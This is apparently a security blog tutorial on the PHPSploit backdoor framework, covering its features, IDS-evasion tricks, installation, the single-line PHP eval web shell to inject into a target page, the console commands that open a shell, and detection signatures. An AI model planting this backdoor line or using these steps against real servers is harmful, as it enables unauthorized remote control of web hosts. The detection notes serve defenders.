I spent some hours to understand the PHPSploit backdoor. The backdoor looks pretty interesting in terms of payload delivery and at the same time doing the same in a stealthy way. Trust me, it does the job pretty nicely. I will add some small excerpts on what it does in the below paragraphs. I won’t spend much time explaining the internal architecture of this tool since that would be extremely time taking and would be beyond the scope of this post. I would rather choose another separate page to discuss the core technicalities to break down the source code. Sometimes down the line I would break down this tool by explaining the source code on a high-level e.g. how the data is encoded, techniques, classes//methods etc. However this post is all about understanding how this tool works, what this tool is all about, its installation procedure, exploitation methods etc. Let’s not waste time and dig into it right away. 🙂
As per the tool author, PhpSploit is a remote control framework, aiming to provide a stealth interactive shell-like connection over HTTP between client and web server. It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes.
After the successful exploitation (once you inject the backdoor function call to an arbitrary PHP document) you get a remote tunnel through HTTP protocol. I will share some screenshots below which would help you to understand more in-depth.
– Privilege escalation in a stealthy manner
– Exec commands
– Bypass PHP security restrictions
– Edit remote files through local text editor
– Polymorphic by nature
– HTTP/HTTPS/SOCKS4/SOCKS5 proxy support and many more!
– Ubuntu (preferable)
– Python v3.x
- Uses HTTP GET (in-stead of POST) method to perform attack payload delivery which is basically ignored by the network log analysts in most of the cases.
- Absence of HTTP POST related data or any suspicious GET URI parameters or POST message body attack payloads. This could help bypass some IDS or IPS devices (unless you have a rule/signature to fingerprint this behavior).
- Attack payload is being sent through the Base64 encoding routines.
You can either use git or wget to download the package from the original repository. You can try the below procedure to make this tool up and running!
$unzip –d [path2extract] master.zip
Once this step is done you need to find a target where the malicious PHP function call is injected. Remember, this is the main step on which the complete tool relies at the first place! If you want to test this tool locally, you can set up a LAMPP stack and create a new page in the web root directory and add this code snippet against that PHP document.
<? @eval($_SERVER[‘HTTP_PHPSPL01T’]) ?>
Once the above step is done, you need to setup a target host IP where you want to launch the attack in. You can follow the below command line procedure to accomplish this:
phpsploit > set [Show the default configs before launching the attack]
phpsploit > set TARGET “http://target_ip:port/injected.php” [Exploit func call must be here]
NOTE: You can change the **BACKDOOR** variable value but make sure
you know exactly what you are doing.
phpsploit > exploit and Voilla! Now you have a shell to play around with.
Now let’s understand what exactly happened at the infected host and what we actually sent over the wire!
- An HTTP GET request to the target PHP page (backdoor.php) where the exploit function call was injected.
- Base64 encoded payload along with some arbitrary non-RFC compliant headers.
- HTTP Header values contain the encoded version of some PHP source codes which is doing all the magic internally!
TCP Data (HTTP)
- Shape1, points to an HTTP GET request to the target PHP page (backdoor.php) where the exploit function call was injected.
- Shape2, points to the Base64 encoded payload.
If you want to fingerprint this behavior through your IDS/IPS devices there are few ways you can do that. However you need to be sure that if HTTPS being used in-stead of HTTP you need to decrypt the ssl-encrypted payload (provided your device supports this module). SSL payload inspection is a very performance intensive process and most devices avoid that at the first place unless you enable this module explicitly!
- A Non-RFC compliant header e.g. “Zz:” followed by random 2 bytes characters.
- HTTP Header has an unique identifier e.g. Phpspl01T
NOTE: Detection might vary though based on their future upgrades. In that case you need to make necessary changes to your signature database accordingly.
Thats all for now! If you have any questions, feedback or comments then please do so. I would be happy to see how the post is paying off in your research.
Happy B4ckd00ring! 🙂